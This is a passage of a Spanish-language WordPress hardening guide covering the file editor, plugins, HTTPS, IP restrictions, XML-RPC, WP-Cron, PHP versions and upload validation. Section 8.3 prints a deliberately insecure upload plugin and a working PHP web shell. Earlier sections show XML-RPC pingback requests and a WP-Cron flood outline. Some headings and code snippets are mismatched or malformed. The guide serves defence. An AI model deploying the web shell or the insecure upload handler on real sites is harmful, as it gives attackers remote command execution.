**Remediación:**
- Si el registro de usuarios está habilitado, desactívalo.
- Desmarca “Anyone can register”
![3.2!](https://assets.kitploit.com/production/public/readmes/6586/46991061b1bec392d06e00e986f048c6369b8db2c9e5a6b30f4f66dbc9b862d1.png)


## 4. Asegúrate de que el Editor de Archivos de Plugins esté Desactivado
Si un atacante accede a una cuenta de Administrador de WordPress, puede tomar el control total de tu sitio web. 
Pueden editar el código de tu tema y plugins a través de la función integrada "Editor", cargar scripts maliciosos, desfigurar tu sitio, enviar spam a tus usuarios y más.

Los hackeos comunes a través de estos editores incluyen inyecciones SQL, hackeos de spam SEO y spam SEO japonés.

**Auditoría:**
- Verifica que el editor de archivos esté desactivado. 
- Comprueba si puedes acceder al editor a través de Apariencia > Editor o Plugins > Editor de Plugins.

**Remediación:**
- Si el editor de archivos está habilitado, desactívalo siguiendo estos pasos:

1. Accede a tu archivo wp-config.php usando el Administrador de Archivos o FTP
2. Abre el archivo wp-config.php para editarlo.
3. Desplázate hasta la parte inferior del archivo (si usas el wp-config.php predeterminado).
4. Localiza la siguiente línea:
`
/* That’s all, stop editing! Happy publishing. */
`
5. Sobre esta línea, añade el siguiente código:
`
define('DISALLOW_FILE_EDIT', true);
`
6. Guarda los cambios y cierra el editor.
7. Vuelve a tu panel de WordPress y confirma que las opciones del editor ya no están disponibles.


## 5. Asegúrate de que los Plugins No Utilizados e Innecesarios estén Desactivados
Muchas vulnerabilidades en WordPress provienen de problemas de seguridad en los plugins. 
Los plugins son de código abierto, lo que facilita que los atacantes encuentren y exploten vulnerabilidades. 
Es crucial mantener los plugins que utilizas actualizados y desactivar cualquier plugin no utilizado para evitar una posible explotación.

**Auditoría:**
- Comprueba que los plugins no utilizados e innecesarios estén desactivados. 
- Verifica que los plugins no utilizados e innecesarios estén desactivados.

**Remediación:**
- Desactiva cualquier plugin no utilizado e innecesario siguiendo estos pasos:

**Usa Plugin Check - PCP:**
- PCP: https://wordpress.org/plugins/plugin-check
1. Instala y Activa Plugin Check (PCP):
   - Ve al panel de administración de WordPress
   - Navega a Plugins > Añadir nuevo.
   - Busca "Plugin Check" e instálalo, actívalo.

2. Ejecuta una revisión de plugins:
   - En el panel de WordPress, ve al menú de Plugin Check.
   - Selecciona los plugins que deseas revisar y ejecuta el escaneo.

3. Analiza los resultados del escaneo:
   - PCP analizará el código del plugin y proporcionará un informe, que incluye:
     - Cumplimiento de estándares de código: Qué tan bien el plugin se adhiere a los estándares de codificación de WordPress.
     - Problemas de seguridad: Posibles vulnerabilidades o código malicioso.
     - Problemas de rendimiento: El impacto en el rendimiento del sitio web.
     - Problemas de compatibilidad: Si el plugin es compatible con otros plugins y temas.

4. Identifica plugins problemáticos:
   - Si el informe destaca vulnerabilidades de seguridad significativas, código malicioso o numerosas violaciones de estándares de codificación, es probable que el plugin sea "sospechoso".
   - Ten cuidado con los plugins que realizan solicitudes externas innecesarias o ejecutan consultas de base de datos excesivas.

5. Resuelve los problemas:
   - Soluciona los problemas identificados actualizando o encontrando los problemas en las páginas de los plugins.
   - Evita usar plugins con problemas de seguridad graves. Encuentra plugins alternativos cuando sea necesario.

**Gestión de Plugins:**
1. Selección de Plugins:
   - Usa repositorios oficiales, revisa valoraciones y opiniones, verifica la credibilidad del desarrollador
   - No uses plugins desconocidos o no verificados

2. Actualizaciones periódicas
   - Mantén los plugins actualizados para asegurarte de tener los últimos parches de seguridad.

3. Desactivar y Eliminar Plugins No Utilizados
   - Incluso los plugins inactivos pueden suponer un riesgo de seguridad, así que elimínalos si no se usan.
   - Minimiza los plugins: Usa solo los esenciales


## 6. Asegúrate de que WordPress esté Configurado para Usar Solo HTTPS, Incluyendo el Administrador de WordPress
Hoy en día, la mayoría de los sitios web están configurados para funcionar sobre SSL (HTTPS).
Sin embargo, algunos servidores web aún pueden estar configurados erróneamente para manejar conexiones HTTP y HTTPS.
Esto puede permitir el acceso a WordPress a través de ambos protocolos, lo que supone un riesgo de seguridad. WordPress, incluido el Administrador de WordPress, debe forzarse a usar exclusivamente HTTPS.

**Auditoría:**
- Verifica que WordPress, incluido el administrador de WordPress, esté configurado para ser accesible solo a través de HTTPS.
- Comprueba la configuración de VirtualHost del servidor web para asegurarte de que no haya VirtualHosts HTTP configurados.

**Remediación:**
- Si es posible el acceso HTTP, primero revisa y modifica la configuración del servidor web.
- Si el servidor tiene VirtualHosts HTTP, redirígelos a HTTPS o elimina los VirtualHosts HTTP.
- Si es necesario, habilita la función "FORCE_SSL_ADMIN" para forzar el acceso HTTPS al Administrador de WordPress.

**Pasos para Habilitar FORCE_SSL_ADMIN:**
1. Accede a tu archivo wp-config.php usando el Administrador de Archivos o FTP. 
2. Abre el archivo wp-config.php para editarlo. 
3. Desplázate hasta la parte inferior del archivo (si usas el wp-config.php predeterminado). 
4. Localiza la siguiente línea:
`
/* That’s all, stop editing! Happy publishing. */
`
5. Sobre esta línea, añade el siguiente código:
`
define('FORCE_SSL_ADMIN', true);`
`
6. Guarda los cambios y cierra el editor.
Vuelve a tu panel de WordPress e inicia sesión de nuevo para asegurarte de que el Administrador de WordPress solo sea accesible a través de HTTPS.

**Redirigir HTTP a HTTPS en el Servidor Web:**
1. Para Apache:
    ```
    <VirtualHost *:80>
        ServerName yourwordpress.com
    
        RewriteEngine On
        RewriteCond %{HTTPS} off
        RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
    </VirtualHost>
    ```
2. Para Nginx:
    ```
    server {
        listen 80;
        server_name yourwordpress.com;
    
        location / {
            return 301 https://$host$request_uri;
        }
    }
    ```
Al asegurarte de que WordPress y el Administrador de WordPress solo sean accesibles a través de HTTPS, puedes mejorar significativamente la seguridad de tu sitio web, protegiendo datos y evitando accesos no autorizados.   

## 7. Asegúrate de que las Restricciones de Acceso por IP (ACL) estén Aplicadas
Verifica que las restricciones de acceso por IP estén aplicadas

Para operar WordPress de forma segura, es esencial aplicar restricciones de acceso por IP a ciertas URLs, incluido el Administrador de WordPress, para evitar que usuarios, computadoras y bots no deseados accedan. Esto implica permitir el acceso solo desde direcciones IP permitidas, como las IP de los administradores. Además, es necesario desactivar funciones no utilizadas para minimizar las superficies de ataque.

Las URLs a asegurar incluyen el Administrador de WordPress, el registro de usuarios (wp-signup.php), la API REST JSON y la función XML-RPC.

Esta guía de seguridad está dirigida a sitios web orientados a servicios como blogs corporativos, páginas de reclutamiento, sitios de marca y sitios promocionales donde la interacción del usuario es mínima y el contenido se exhibe principalmente.

Al implementar restricciones de acceso por IP, puedes reducir significativamente el riesgo de acceso no autorizado y mejorar la seguridad general de tu sitio web.


### 7.1. Asegúrate de que las restricciones de acceso por IP estén aplicadas al administrador de WordPress.
La ruta de acceso al administrador de WordPress es fija en forma de wp-login.php o /wp-admin, lo que facilita el acceso a usuarios no autorizados.
Asegúrate de que se aplique una restricción de acceso por IP para evitar el acceso no autorizado a la página de administración.

**Auditoría:**
- Verifica que las restricciones de acceso por IP estén aplicadas para el administrador de WordPress.
- En la mayoría de los casos, esto se configura en el servidor web (Apache, Nginx).

**Remediación:**
- Si las restricciones de acceso por IP no están aplicadas, impleméntalas.
- A continuación se muestran métodos para aplicar restricciones de acceso por IP usando los servidores web Apache y Nginx.

**Aplicar Restricción de Acceso por IP al Administrador de WordPress:**
- /wp-admin, wp-login.php 

1. Para Apache:
    ```
   # Files Directive 
    <Files "wp-login.php">
        Require ip 10.10.77.49  # Replace with your IP address
    </Files>
    
    # FilesMatch Directive
    <FilesMatch "^wp-login\.php$">
        Require all granted
    </FilesMatch>

   # Directory, Files Mixing Directive
    <Directory /www/vhosts/yourwordpress>
        Require all granted
        AllowOverride None
        <Files "wp-login.php">
            Require ip 10.10.77.49  # Replace with your IP address
        </Files>
    </Directory>
   
   # Location Directive
    <Location "/wp-admin">
        Require ip 10.10.77.49  # Replace with your IP address
    </Location>
    
    <Location "/wp-login.php">
        Require ip 10.10.77.49  # Replace with your IP address
    </Location>
    ```
2. Para Nginx:
    ```
    location /wp-admin {
        allow 10.10.77.49;  # Replace with your IP address
        deny all;
    }
    
    location ~* \wp-login.php {
        allow 10.10.77.49;  # Replace with your IP address
        deny all;
    }
    ```


### 7.2. Restringe el Acceso por IP o Desactiva la Función de la API REST JSON
WordPress proporciona dos funcionalidades REST (xmlrpc, json rest api) y están habilitadas por defecto al instalar WordPress. 
La API REST proporciona endpoints para los tipos de datos de WordPress, permitiendo la interacción remota con el sitio para tareas como consultar entradas o datos, modificar recursos, editar y eliminar.

Para la mayoría de los WordPress, la función de la API REST no es esencial. 
Habilitarla puede exponer WordPress a ataques DDoS y podría resultar en consumo de recursos y ralentización del sitio.

**Auditoría:**
- Verifica que la función de la API REST JSON esté habilitada. (Por defecto: Habilitada)```
# curl -i -k https://yourwordpress.com/wp-json

(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
content-type: text/html; charset=UTF-8
...
Server: Apache

{"name":"mywordress","description":"".......................

**Remediación:**
- Desactivar la función XML-RPC usando un plugin

**Instalar el plugin "Disable XML-RPC-API", Activar:**
1. Ve al panel de administración de WordPress.
2. Navega a Plugins > Añadir nuevo.
3. Busca "[Disable XML-RPC-API](https://wordpress.org/plugins/disable-xml-rpc-api/)" e instálalo, actívalo.
4. XML-RPC-API ahora está desactivado.

**Acerca de los ataques de pingbacks XML-RPC:**

1. Verificar que XML-RPC está habilitado
    ```
    # curl -i -k https://yourwordpress.com/xmlrpc.php
    
    (response)
    HTTP/1.1 405 Method Not Allowed
    Date: Mon, 25 Jun 2018 08:30:24 GMT
    Server: Apache
    Allow: POST
    Content-Length: 42
    Content-Type: text/plain; charset=UTF-8
     
     
    XML-RPC server accepts POST requests only.
    ```
2. Buscar métodos XML-RPC disponibles
    ```
    (request)
    POST /xmlrpc.php HTTP/1.1
    Host: yourwordpress.com
    Content-Length: 135
    
    <?xml version="1.0" encoding="utf-8"?>
    <methodCall>
        <methodName>system.listMethods</methodName>
        <params></params>
    </methodCall>
    
    
    (response)
    HTTP/1.1 200 OK
    cache-control: no-cache, no-store, must-revalidate, max-age=0
    ...
    Server: Apache
    Content-Length: 4272
    Content-Type: text/xml; charset=UTF-8
    
    <?xml version="1.0" encoding="UTF-8"?>
    <methodResponse>
        <params>
            <param>
                <value>
                    <array><data>
                        <value><string>system.multicall</string></value>
                        <value><string>system.listMethods</string></value>
                        <value><string>system.getCapabilities</string></value>
                        <value><string>demo.addTwoNumbers</string></value>
                        <value><string>demo.sayHello</string></value>
                        <value><string>pingback.extensions.getPingbacks</string></value>
                        <value><string>pingback.ping</string></value>
                        <value><string>mt.publishPost</string></value>
                        ...
                        <value><string>wp.getUsersBlogs</string></value>
                    </data></array>
                </value>
            </param>
        </params>
    </methodResponse>
    
    ```
3. Realizar pingbacks
    - El éxito de un ataque de pingback y los métodos específicos de verificación no se describen.
    ```
    (request)
    POST /xmlrpc.php HTTP/1.1
    Host: yourwordpress.com
    Content-Length: 303
    
    <?xml version="1.0" encoding="UTF-8"?>
        <methodCall>
        <methodName>pingback.ping</methodName>
            <params>
                <param>
                    <value><string>call-back url for pingback result</string></value>
                </param>
                <param>
                    <value><string>https://yourwordpress.com/</string></value>
            </param>
        </params>
    </methodCall>
    
    
    (response)
    HTTP/1.1 200 OK
    ...
    Server: Apache
    Content-Length: 370
    Content-Type: text/xml; charset=UTF-8
    
    <?xml version="1.0" encoding="UTF-8"?>
    <methodResponse>
      <fault>
        <value>
          <struct>
            <member>
              <name>faultCode</name>
              <value><int>0</int></value>
            </member>
            <member>
              <name>faultString</name>
              <value><string></string></value>
            </member>
          </struct>
        </value>
      </fault>
    </methodResponse>
    ```


### 7.4. Deshabilitar WP-Cron o restringir la función
En WordPress, WP-Cron (wp-cron.php) se utiliza para automatizar tareas como la publicación programada de entradas, las comprobaciones de actualizaciones de plugins/temas y el envío de correos de notificación.

WP-Cron funciona esencialmente revisando la lista de tareas programadas cada vez que se carga una página.
El problema surge cuando hay una carga pesada de páginas.

Como las tareas de WP-Cron se realizan con cada carga de página, múltiples accesos repetidos resultan en invocaciones correspondientes de WP-Cron. En consecuencia, los recursos del sistema pueden escasear, causando que el sitio se vuelva lento o incluso se detenga.
Esto es una ocurrencia real y se explota frecuentemente en ataques de vulnerabilidad dirigidos a WordPress.

Si WP-Cron no es necesario, es recomendable desactivarlo.
Si es necesario, restringir el acceso solo a hosts locales.


**Auditoría:**
- Verificar que WP-Cron está habilitado. (Predeterminado: Habilitado)```
# curl -i -k https://yourwordpress.com/wp-cron.php

(response)
HTTP/1.1 200 ok
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8

**Acerca de realizar un ataque DoS usando wp-cron.php:**
- Enviar un volumen extenso de solicitudes a wp-cron.php
- Esto provoca que el script consuma una cantidad excesiva de recursos, eventualmente sobrecargando el servidor
![7.4.1!](https://assets.kitploit.com/production/public/readmes/6586/b1647fd6883b8d7b3178e7f042290fada6614e9de11a4e6e256f435902b12633.png)
![7.4.2!](https://assets.kitploit.com/production/public/readmes/6586/07d6a5d1794a3ba03177b78f63631eb5fb8f8f6092d6156965535847636d2769.png)

## 8. Configuración del Sistema para un WordPress Seguro.
Garantizar el funcionamiento seguro de WordPress requiere una configuración adecuada del servidor web y el fortalecimiento de los componentes del backend.
Aquí hay varios elementos esenciales que deben verificarse e implementarse.

### 8.1. Asegurar el uso de versiones de WordPress y PHP que no estén al final de su vida útil (EOL)
Para mantener una instalación segura de WordPress, es esencial utilizar versiones de WordPress y PHP que no estén al final de su vida útil (EOL).
Las versiones EOL ya no reciben soporte ni actualizaciones de seguridad, lo que deja su sitio web vulnerable a problemas de seguridad sin parches.

El uso de versiones compatibles garantiza que cualquier vulnerabilidad descubierta sea abordada rápidamente, protegiendo su sitio de posibles ataques.
Esto es lo que necesita hacer para verificar y actualizar sus versiones de WordPress y PHP:

**Auditoría:**
- Verifique que sus versiones actuales de WordPress y PHP no sean EOL.

**Remediación:**
- Instale y ejecute versiones de WordPress y PHP que no sean EOL.
- A partir de mayo de 2024, la versión compatible de WordPress es 6.5 y superiores. Las versiones compatibles de PHP son 8.1, 8.2 y 8.3.
- Si utiliza un servicio de alojamiento web, aproveche sus funciones de cambio de versión para asegurarse de ejecutar versiones compatibles tanto de WordPress como de PHP.

**Estado EOL a partir de mayo de 2024**
 1. PHP: [supported-versions](https://www.php.net/supported-versions.php)
    - Versiones actualmente compatibles: 8.1, 8.2, 8.3
 2. WordPress: [current-releases](https://wordpress.org/download/releases/)
    - Versiones actualmente compatibles: serie 6.5

**Ejemplo: PHP en RockyLinux 8.5**
- En RockyLinux 8.5, las versiones predeterminadas de PHP disponibles son 7.2, 7.3 y 7.4.
    ```
    # dnf module list php
    Rocky Linux 8 - AppStream
    Name         Stream          Profiles                           Summary                       
    php          7.2 [d]         common [d], devel, minimal         PHP scripting language        
    php          7.3             common [d], devel, minimal         PHP scripting language        
    php          7.4             common [d], devel, minimal         PHP scripting language        
    
    Hint: [d]efault, [e]nabled, [x]disabled, [i]nstalled
    
    # dnf module enable php:7.4
    ==============================================================================================
     Package               Architecture         Version               Repository             Size
    ==============================================================================================
    Enabling module streams:
     httpd                                      2.4                                              
     php                                        7.4                                              
    
    Transaction Summary
    ==============================================================================================
    
    Is this ok [y/N]: y
    Complete!
    ```
- PHP 7 ya ha llegado al final de su vida útil (EOL); se recomienda actualizar a PHP 8.
- PHP 8 se puede instalar desde el repositorio REMI.
- Aquí hay un ejemplo de cómo habilitar e instalar PHP 8.2 usando REMI:
    ```
    # Install PHP 8.2 in Rocky Linux 8
    
    # dnf install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
    # dnf -y install https://rpms.remirepo.net/enterprise/remi-release-8.rpm
    # dnf -y install yum-utils
    # dnf module reset php
    # dnf module install php:remi-8.2
    Last metadata expiration check: 0:00:39 ago on Tue 13 Dec 2022 07:19:26 AM UTC.
    Dependencies resolved.
    =======================================================================================================================================
     Package                       Architecture        Version                                             Repository                 Size
    =======================================================================================================================================
    Installing group/module packages:
     php-cli                       x86_64              8.2.0-1.el8.remi                                    remi-modular              5.4 M
     php-common                    x86_64              8.2.0-1.el8.remi                                    remi-modular              1.3 M
     php-fpm                       x86_64              8.2.0-1.el8.remi                                    remi-modular              1.9 M
     php-mbstring                  x86_64              8.2.0-1.el8.remi                                    remi-modular              574 k
     php-xml                       x86_64              8.2.0-1.el8.remi                                    remi-modular              254 k
    Installing dependencies:
     httpd-filesystem              noarch              2.4.37-51.module+el8.7.0+1059+126e9251              appstream                  41 k
     libxslt                       x86_64              1.1.32-6.el8                                        baseos                    249 k
     oniguruma5php                 x86_64              6.9.8-1.el8.remi                                    remi-safe                 212 k
    Installing weak dependencies:
     nginx-filesystem              noarch              1:1.14.1-9.module+el8.4.0+542+81547229              appstream                  23 k
    Installing module profiles:
     php/common
    Enabling module streams:
     httpd                                             2.4
     nginx                                             1.14
     php                                               remi-8.2
    
    Transaction Summary
    =======================================================================================================================================
    Install  9 Packages
    
    # dnf update
    # dnf install php
    Last metadata expiration check: 0:00:23 ago on Tue 13 Dec 2022 07:29:55 AM UTC.
    Dependencies resolved.
    =======================================================================================================================================
     Package                       Architecture       Version                                               Repository                Size
    =======================================================================================================================================
    Installing:
     php                           x86_64             8.2.0-1.el8.remi                                      remi-modular             1.8 M
    Installing dependencies:
     apr                           x86_64             1.6.3-12.el8                                          appstream                128 k
     apr-util                      x86_64             1.6.1-6.el8.1                                         appstream                104 k
     httpd                         x86_64             2.4.37-51.module+el8.7.0+1059+126e9251                appstream                1.4 M
     httpd-tools                   x86_64             2.4.37-51.module+el8.7.0+1059+126e9251                appstream                108 k
     libsodium                     x86_64             1.0.18-2.el8                                          epel                     162 k
     mailcap                       noarch             2.1.48-3.el8                                          baseos                    38 k
     mod_http2                     x86_64             1.15.7-5.module+el8.6.0+823+f143cee1                  appstream                153 k
     rocky-logos-httpd             noarch             86.3-1.el8                                            baseos                    24 k
    Installing weak dependencies:
     apr-util-bdb                  x86_64             1.6.1-6.el8.1                                         appstream                 23 k
     apr-util-openssl              x86_64             1.6.1-6.el8.1                                         appstream                 26 k
     php-opcache                   x86_64             8.2.0-1.el8.remi                                      remi-modular             633 k
     php-pdo                       x86_64             8.2.0-1.el8.remi                                      remi-modular             166 k
     php-sodium                    x86_64             8.2.0-1.el8.remi                                      remi-modular             105 k
    
    Transaction Summary
    =======================================================================================================================================
    Install  14 Packages
    
    Total download size: 4.8 M
    Installed size: 14 M
    Is this ok [y/N]: y
    
    # php -v
    PHP 8.2.0 (cli) (built: Dec  6 2022 14:26:47) (NTS gcc x86_64)
    Copyright (c) The PHP Group
    Zend Engine v4.2.0, Copyright (c) Zend Technologies
        with Zend OPcache v8.2.0, Copyright (c), by Zend Technologies
    ```
**Nota:**
- Para obtener instrucciones detalladas sobre cómo instalar PHP desde el repositorio REMI: [rpms.remirepo.net](https://rpms.remirepo.net/)
- Documentación sobre compatibilidad de WordPress y PHP: [php-compatibility-and-wordpress-versions](https://make.wordpress.org/core/handbook/references/php-compatibility-and-wordpress-versions/)

### 8.2. Asegurar que Solo las Extensiones de PHP Necesarias para WordPress Estén Habilitadas
Asegúrese de que solo las extensiones de PHP necesarias para su sitio de WordPress estén habilitadas.
Las extensiones innecesarias pueden aumentar la superficie de ataque de su sitio web y pueden exponer WordPress a vulnerabilidades de seguridad.

Al habilitar solo las extensiones requeridas, puede minimizar los riesgos potenciales y mejorar la seguridad general.

A continuación se indican las necesarias para que un sitio de WordPress funcione correctamente. **(No es una lista con fines de fortalecimiento de seguridad)**

| Extensión | Descripción                                                                                                                                                                                                                                        |
|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| json      | Se utiliza para la comunicación con otros servidores y el procesamiento de datos en formato JSON.                                                                                                                                                     |
| mysqli    | Se conecta a MySQL para interacciones con la base de datos.                                                                                                                                                                                       |
| curl      | Realiza operaciones de solicitudes remotas.                                                                                                                                                                                                        |
| dom       | Se utiliza para validar el contenido de los widgets de texto y para configurar automáticamente IIS7+.                                                                                                                                             |
| exif      | Trabaja con metadatos almacenados en imágenes.                                                                                                                                                                                                      |
| fileinfo  | Se utiliza para detectar el tipo MIME de las cargas de archivos.                                                                                                                                                                                    |
| hash      | Se utiliza para hashing, incluyendo contraseñas y paquetes de actualización.                                                                                                                                                                       |
| igbinary  | Aumenta el rendimiento como reemplazo directo del serializador PHP estándar.                                                                                                                                                                      |
| imagick   | Proporciona una mejor calidad de imagen para las cargas de medios. Consulte WP_Image_Editor para más detalles. Redimensionamiento de imágenes más inteligente (para imágenes más pequeñas) y soporte de miniaturas PDF, cuando Ghost Script también está disponible. |
| intl      | Habilita operaciones sensibles a la configuración regional, incluyendo pero no limitado a formato, transliteración, conversión de codificación, operaciones de calendario, cotejo conforme, localización de límites de texto y trabajo con identificadores de configuración regional, zonas horarias y grafemas. |
| mbstring  | Se utiliza para manejar correctamente texto UTF8.                                                                                                                                                                                                 |
| openssl   | Conexiones basadas en SSL a otros hosts.                                                                                                                                                                                                            |
| pcre      | Aumenta el rendimiento de la coincidencia de patrones en búsquedas de código.                                                                                                                                                                    |
| xml       | Se utiliza para el análisis XML, como el de un sitio de terceros.                                                                                                                                                                                  |
| zip       | Se utiliza para descomprimir plugins, temas y paquetes de actualización de WordPress.                                                                                                                                                              |
| bc        | Para matemáticas de precisión arbitraria, que admite números de cualquier tamaño y precisión de hasta 2,147,483,647 dígitos decimales.                                                                                                            |
| filter    | Se utiliza para filtrar de forma segura la entrada del usuario.                                                                                                                                                                                    |
| image     | Si Imagick no está instalado, se utiliza la Biblioteca de Gráficos GD como un reemplazo funcionalmente limitado para la manipulación de imágenes.                                                                                                |
| iconv     | Se utiliza para convertir entre conjuntos de caracteres.                                                                                                                                                                                            |
| shmop     | Shmop es un conjunto de funciones fáciles de usar que permite a PHP leer, escribir, crear y eliminar segmentos de memoria compartida de Unix.                                                                                                       |
| simplexml | Se utiliza para el análisis XML.                                                                                                                                                                                                                    |
| sodium    | Valida firmas y proporciona bytes aleatorios seguros.                                                                                                                                                                                          |
| xmlreader | Se utiliza para el análisis XML.                                                                                                                                                                                                                    |
| zlib      | Compresión y descompresión Gzip.                                                                                                                                                                                                                    |

Las extensiones esenciales se pueden encontrar aquí: [WordPress Hosting Handbook: PHP Extensions](https://make.wordpress.org/hosting/handbook/server-environment/#php-extensions)

**Auditoría:**
- Verifique que solo las extensiones de PHP necesarias para su sitio de WordPress estén habilitadas.

**Remediación:**
- Elimine cualquier extensión innecesaria. A veces, las extensiones se instalan junto con los plugins, que pueden no ser necesarias para su sitio.
- Para verificar las extensiones de PHP actualmente habilitadas, puede revisar el archivo **php.ini** o usar la función **phpinfo()** para listar todas las extensiones activas.

![8.2!](https://assets.kitploit.com/production/public/readmes/6586/1e270a242227b8dc8fa965765c69b7927b170de108acdbe1fad91455e484e615.png)

- Ciertas extensiones, si no son necesarias, deben deshabilitarse para evitar posibles problemas de seguridad.
- Por ejemplo, extensiones como exif, fileinfo, imap, soap, pdo_sqlite y opcache podrían ser explotadas si se dejan habilitadas sin un uso adecuado.
- Si está utilizando un servicio de alojamiento web, muchos proveedores ofrecen interfaces fáciles de usar para cambiar la configuración de PHP, incluyendo habilitar o deshabilitar extensiones de PHP. Usando estas funciones, puede gestionar las extensiones de manera efectiva.

### 8.3. Asegurar la Seguridad de los Plugins con Funciones de Carga de Archivos
Los plugins con capacidades de carga de archivos pueden ser un riesgo de seguridad significativo si no están debidamente protegidos. Las vulnerabilidades en las funciones de carga de archivos pueden permitir a los atacantes cargar webshells, lo que potencialmente lleva a un compromiso total del sistema. Por lo tanto, es crucial asegurarse de que cualquier funcionalidad de carga de archivos incluya mecanismos de validación y saneamiento.

¿Por qué es esto importante?
1. Validación de extensión:
   - El servidor debe validar las extensiones de archivo contra una lista blanca de tipos permitidos para evitar la carga de archivos maliciosos.

2. Verificación de tipo MIME:
   - Se debe verificar el tipo MIME del archivo para asegurar que coincida con el tipo esperado, agregando una capa adicional de seguridad.

3. Restricciones de ruta de carga:
   - Asegúrese de que no haya rutas expuestas que permitan el acceso directo a archivos cargados sin validación.

Las vulnerabilidades de carga de archivos son particularmente peligrosas porque proporcionan una ruta directa para que los atacantes carguen código ejecutable y ejecuten comandos arbitrarios. Las vulnerabilidades de carga de archivos suelen ser más fáciles de identificar y explotar en comparación con otras fallas de seguridad como la inyección SQL.

**Auditoría:**
- Identifique los plugins con funcionalidad de carga de archivos en su sitio de WordPress.
- Verifique que estos plugins implementen comprobaciones de validación adecuadas para los archivos cargados, incluyendo la validación de extensión y tipo MIME.

**Remediación:**
- Si un plugin con funcionalidad de carga de archivos carece de una validación adecuada, mejore su seguridad o elimine el plugin.
- A continuación se muestran ejemplos de plugins populares de WordPress con funciones de carga de archivos y cómo manejan la validación de archivos.

**Ejemplo: Plugins populares de WordPress con manejo de carga de archivos**

1. Contact Form 7
   - Contact Form 7 es uno de los plugins de formularios más utilizados en WordPress. Incluye funcionalidad básica de carga de archivos con validación de extensión y tipo MIME.**Código para extensiones permitidas y verificación de tipo MIME:**

 // Check if the file type is allowed
 if ( ! in_array( $file_type['ext'], $allowed_mime_types ) ) {
     return new WP_Error( 'wpcf7_upload_failed', __( 'File type is not allowed.', 'contact-form-7' ) );
 }

 // Handle the file upload
 $upload = wp_handle_upload( $file, array( 'test_form' => false ) );

 // Check if the upload was successful
 if ( isset( $upload['error'] ) ) {
     return new WP_Error( 'wpcf7_upload_failed', $upload['error'] );
 }

 return $upload;

En Contact Form 7, la función `wpcf7_allowed_file_extensions()` devuelve una lista de extensiones de archivo permitidas, y la función `wpcf7_handle_upload()` verifica si la extensión del archivo está en esta lista antes de proceder con la carga.

2. WPForms
   - WPForms maneja las cargas de archivos verificando los tipos de archivo permitidos.

   **Código de ejemplo para WPForms:**

function wpforms_get_file_types() {
 // Return an array of allowed file types
 return array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );

 if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
     return new WP_Error( 'wpforms_upload_failed', __( 'File type is not allowed.', 'wpforms' ) );
 }

 $upload = wp_handle_upload( $file, array( 'test_form' => false ) );

 if ( isset( $upload['error'] ) ) {
     return new WP_Error( 'wpforms_upload_failed', $upload['error'] );
 }

 return $upload;

3. WooCommerce
  - WooCommerce también define y verifica las extensiones de archivo permitidas directamente en su código de manejo de cargas.

  **Código de ejemplo para WooCommerce:**
   ```
   function woocommerce_handle_upload( $file ) {
       $allowed_file_types = array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
       $file_type = wp_check_filetype( $file['name'] );

       if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
           return new WP_Error( 'woocommerce_upload_failed', __( 'File type is not allowed.', 'woocommerce' ) );
       }

       $upload = wp_handle_upload( $file, array( 'test_form' => false ) );

       if ( isset( $upload['error'] ) ) {
           return new WP_Error( 'woocommerce_upload_failed', $upload['error'] );
       }

       return $upload;
   }
   ```

**Ejemplo: Plugin de carga de archivos malicioso**
- Un plugin malicioso puede parecer inocente pero explotar la extensión fileinfo para eludir las verificaciones de seguridad:
   ```
   <?php
   /*
   Plugin Name: Simple Malicious Upload
   Description: A plugin with hidden malicious file upload capability.
   Version: 1.0
   */
   
   function simple_file_upload_menu() {
       add_menu_page('File Upload', 'File Upload', 'manage_options', 'file-upload', 'simple_file_upload_page');
   }
   
   add_action('admin_menu', 'simple_file_upload_menu');
   
   function simple_file_upload_page() {
       ?>
       <h1>File Upload</h1>
       <form method="post" enctype="multipart/form-data">
           <input type="file" name="uploaded_file" />
           <input type="submit" name="upload_file" value="Upload" />
       </form>
       <?php
   
       if (isset($_POST['upload_file'])) {
           simple_handle_file_upload();
       }
   }
   
   function simple_handle_file_upload() {
       if (!empty($_FILES['uploaded_file']['tmp_name'])) {
           $file_tmp = $_FILES['uploaded_file']['tmp_name'];
           $file_name = basename($_FILES['uploaded_file']['name']);
   
           // Using fileinfo to check MIME type
           $finfo = finfo_open(FILEINFO_MIME_TYPE);
           $mime_type = finfo_file($finfo, $file_tmp);
           finfo_close($finfo);
   
           // Insecure handling: allows any PHP files to be uploaded
           if ($mime_type === 'text/plain' || $mime_type === 'application/x-php') {
               $upload_dir = wp_upload_dir();
               $upload_file = $upload_dir['path'] . '/' . $file_name;
   
               // Move the uploaded file to the uploads directory
               if (move_uploaded_file($file_tmp, $upload_file)) {
                   echo "File uploaded successfully.";
               } else {
                   echo "File upload failed.";
               }
           } else {
               echo "Invalid file type.";
           }
       }
   }
   ?>
   ```
**Explicación del Exploit:**
- El plugin malicioso permite cargar archivos PHP si su tipo MIME es `application/x-php.`
- Un atacante puede cargar un shell web PHP usando esta funcionalidad.
- Una vez cargado, el atacante accede a la URL del archivo y ejecuta comandos arbitrarios.

**Ejemplo: Código de Shell Web PHP**```
<?php
if (isset($_GET['cmd'])) {
   echo "<pre>";
   system($_GET['cmd']);
   echo "</pre>";
}
?>

### 8.5. Asegurar que el Servidor Web se Ejecute Como un Usuario No Root - Usuario y Grupo Únicos y Sin Privilegios para la Aplicación del Servidor
En la mayoría de los casos, los servidores web se ejecutan como usuarios como "www-data" (Debian/Ubuntu) o "apache" (RHEL/CentOS).

Estos usuarios son cuentas de servicio dedicadas sin privilegios especiales en el servidor y se utilizan para designar el usuario y grupo que asumirán los procesos trabajadores del servidor web.

Si estos usuarios tienen privilegios de sistema o se están ejecutando como root, deben ser cambiados.

**Auditoría:**
- Verificar el usuario que ejecuta el proceso del servidor web. (Específicamente, es el proceso trabajador del servidor web.)

1. Para Apache:
    ```
    # ps -ef | grep httpd
